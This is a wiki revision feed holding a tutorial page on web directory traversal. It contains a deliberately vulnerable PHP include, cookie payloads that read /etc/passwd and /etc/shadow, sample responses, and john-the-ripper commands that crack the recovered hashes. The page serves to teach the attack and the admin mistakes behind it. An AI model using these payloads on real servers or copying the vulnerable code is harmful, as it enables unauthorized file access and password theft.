<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://lms.onnocenter.or.id/wiki/index.php?action=history&amp;feed=atom&amp;title=VULNERABILITY%3A_Web_Directory_Traversal_Vulnerability_%28en%29</id>
	<title>VULNERABILITY: Web Directory Traversal Vulnerability (en) - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://lms.onnocenter.or.id/wiki/index.php?action=history&amp;feed=atom&amp;title=VULNERABILITY%3A_Web_Directory_Traversal_Vulnerability_%28en%29"/>
	<link rel="alternate" type="text/html" href="https://lms.onnocenter.or.id/wiki/index.php?title=VULNERABILITY:_Web_Directory_Traversal_Vulnerability_(en)&amp;action=history"/>
	<updated>2026-04-21T02:50:24Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.45.1</generator>
	<entry>
		<id>https://lms.onnocenter.or.id/wiki/index.php?title=VULNERABILITY:_Web_Directory_Traversal_Vulnerability_(en)&amp;diff=71774&amp;oldid=prev</id>
		<title>Unknown user: Created page with &quot;==Directory Traversal==  Directory traversal (or path traversal) is the exploitation of a lack of security validation/sanitization of user-provided file names, such as charact...&quot;</title>
		<link rel="alternate" type="text/html" href="https://lms.onnocenter.or.id/wiki/index.php?title=VULNERABILITY:_Web_Directory_Traversal_Vulnerability_(en)&amp;diff=71774&amp;oldid=prev"/>
		<updated>2025-01-06T05:29:12Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==Directory Traversal==  Directory traversal (or path traversal) is the exploitation of a lack of security validation/sanitization of user-provided file names, such as charact...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==Directory Traversal==&lt;br /&gt;
&lt;br /&gt;
Directory traversal (or path traversal) is the exploitation of a lack of security validation/sanitization of user-provided file names, such as characters representing &amp;quot;traverse to parent directory&amp;quot; passed to the file API.&lt;br /&gt;
&lt;br /&gt;
The aim of this attack is to use misconfigured applications to gain unauthorized access to the file system. This attack exploits a lack of security (even though the software acts exactly as it should), unlike exploiting bugs in the code.&lt;br /&gt;
&lt;br /&gt;
Directory traversal is also known as ../ (dot dot slash) attack, directory climbing, and backtracking. Some forms of this attack are also considered canonicalization attacks.&lt;br /&gt;
&lt;br /&gt;
A simple example of a vulnerable PHP application is below:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 $template = &amp;#039;red.php&amp;#039;;&lt;br /&gt;
 if (isset($_COOKIE[&amp;#039;TEMPLATE&amp;#039;]))&lt;br /&gt;
    $template = $_COOKIE[&amp;#039;TEMPLATE&amp;#039;];&lt;br /&gt;
 include (&amp;quot;/home/users/phpguru/templates/&amp;quot; . $template);&lt;br /&gt;
 ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The application could be named, for example, vulnerable.php.&lt;br /&gt;
Located under the web folder /var/www/html/vulnerable.php&lt;br /&gt;
&lt;br /&gt;
An attack against this system can be performed using the following HTTP request, if you encounter difficulties you can use:&lt;br /&gt;
&lt;br /&gt;
 telnet ip-address-server 80&lt;br /&gt;
&lt;br /&gt;
Enter/type each sentence below one at a time:&lt;br /&gt;
&lt;br /&gt;
 GET /vulnerable.php HTTP/1.0&lt;br /&gt;
 Cookie: TEMPLATE=../../../../../../../../../etc/passwd&lt;br /&gt;
 Cookie: TEMPLATE=../../../../../../../../../etc/shadow&lt;br /&gt;
&lt;br /&gt;
Response from ../../etc/passwd might look like:&lt;br /&gt;
&lt;br /&gt;
 HTTP/1.1 200 OK&lt;br /&gt;
 Date: Fri, 01 Jun 2018 23:21:52 GMT&lt;br /&gt;
 Server: Apache/2.4.18 (Ubuntu)&lt;br /&gt;
 Vary: Accept-Encoding&lt;br /&gt;
 Content-Length: 2164&lt;br /&gt;
 Connection: close&lt;br /&gt;
 Content-Type: text/html; charset=UTF-8&lt;br /&gt;
 &lt;br /&gt;
 root:x:0:0:root:/root:/bin/bash&lt;br /&gt;
 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin&lt;br /&gt;
 bin:x:2:2:bin:/bin:/usr/sbin/nologin&lt;br /&gt;
 sys:x:3:3:sys:/dev:/usr/sbin/nologin&lt;br /&gt;
 sync:x:4:65534:sync:/bin:/bin/sync&lt;br /&gt;
 games:x:5:60:games:/usr/games:/usr/sbin/nologin&lt;br /&gt;
 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin&lt;br /&gt;
 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin&lt;br /&gt;
 ...&lt;br /&gt;
 ...&lt;br /&gt;
 etc&lt;br /&gt;
&lt;br /&gt;
The repeated ../ characters after /home/users/phpguru/templates/ cause the include() to traverse to the root directory, then include the Unix password file /etc/passwd.&lt;br /&gt;
&lt;br /&gt;
The /etc/passwd file is commonly used as an example in directory traversal attacks and is indeed commonly targeted by crackers attempting to breach systems.&lt;br /&gt;
&lt;br /&gt;
On modern Linux/Unix systems, the /etc/passwd file does not contain passwords. Passwords are in the shadow file, which usually can only be accessed by root. If the server admin is somewhat negligent and changes permissions, for instance:&lt;br /&gt;
&lt;br /&gt;
 sudo su&lt;br /&gt;
 chmod 644 /etc/shadow&lt;br /&gt;
&lt;br /&gt;
Then the command ../../etc/shadow would yield, for example:&lt;br /&gt;
&lt;br /&gt;
 HTTP/1.1 200 OK&lt;br /&gt;
 Date: Fri, 01 Jun 2018 23:26:47 GMT&lt;br /&gt;
 Server: Apache/2.4.18 (Ubuntu)&lt;br /&gt;
 Vary: Accept-Encoding&lt;br /&gt;
 Content-Length: 1767&lt;br /&gt;
 Connection: close&lt;br /&gt;
 Content-Type: text/html; charset=UTF-8&lt;br /&gt;
 &lt;br /&gt;
 root:!:17273:0:99999:7:::&lt;br /&gt;
 daemon:*:16911:0:99999:7:::&lt;br /&gt;
 bin:*:16911:0:99999:7:::&lt;br /&gt;
 sys:*:16911:0:99999:7:::&lt;br /&gt;
 sync:*:16911:0:99999:7:::&lt;br /&gt;
 games:*:16911:0:99999:7:::&lt;br /&gt;
 man:*:16911:0:99999:7:::&lt;br /&gt;
 lp:*:16911:0:99999:7:::&lt;br /&gt;
 mail:*:16911:0:99999:7:::&lt;br /&gt;
 news:*:16911:0:99999:7:::&lt;br /&gt;
 uucp:*:16911:0:99999:7:::&lt;br /&gt;
 ...&lt;br /&gt;
 ...&lt;br /&gt;
 etc&lt;br /&gt;
&lt;br /&gt;
Combine the two outputs, for example,&lt;br /&gt;
output /etc/passwd in file passwd.txt&lt;br /&gt;
output /etc/shadow in file shadow.txt&lt;br /&gt;
with both files, you can crack using john:&lt;br /&gt;
&lt;br /&gt;
 unshadow passwd.txt shadow.txt &amp;gt; mypasswd&lt;br /&gt;
 john mypasswd&lt;br /&gt;
&lt;br /&gt;
The result would be passwords cracked, approximately:&lt;br /&gt;
&lt;br /&gt;
 Created directory: /root/.john&lt;br /&gt;
 Warning: detected hash type &amp;quot;sha512crypt&amp;quot;, but the string is also recognized as &amp;quot;crypt&amp;quot;&lt;br /&gt;
 Use the &amp;quot;--format=crypt&amp;quot; option to force loading these as that type instead&lt;br /&gt;
 Using default input encoding: UTF-8&lt;br /&gt;
 Loaded 6 password hashes with 6 different salts (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])&lt;br /&gt;
 Press &amp;#039;q&amp;#039; or Ctrl-C to abort, almost any other key for status&lt;br /&gt;
 123456           (redi)&lt;br /&gt;
 123456           (krida)&lt;br /&gt;
 123456           (onno)&lt;br /&gt;
 123456           (pangtni)&lt;br /&gt;
 123456           (kasum)&lt;br /&gt;
 123456           (dansatsiber)&lt;br /&gt;
 6g 0:00:00:07 DONE 2/3 (2018-06-02 06:32) 0.7894g/s 669.7p/s 711.8c/s 711.8C/s 123456..green&lt;br /&gt;
 Use the &amp;quot;--show&amp;quot; option to display all of the cracked passwords reliably&lt;br /&gt;
&lt;br /&gt;
==Admin Mistakes==&lt;br /&gt;
&lt;br /&gt;
* Including vulnerable PHP&lt;br /&gt;
* A fatal admin mistake here is typing:&lt;br /&gt;
&lt;br /&gt;
 sudo su&lt;br /&gt;
 chmod 644 /etc/shadow&lt;/div&gt;</summary>
		<author><name>Unknown user</name></author>
	</entry>
</feed>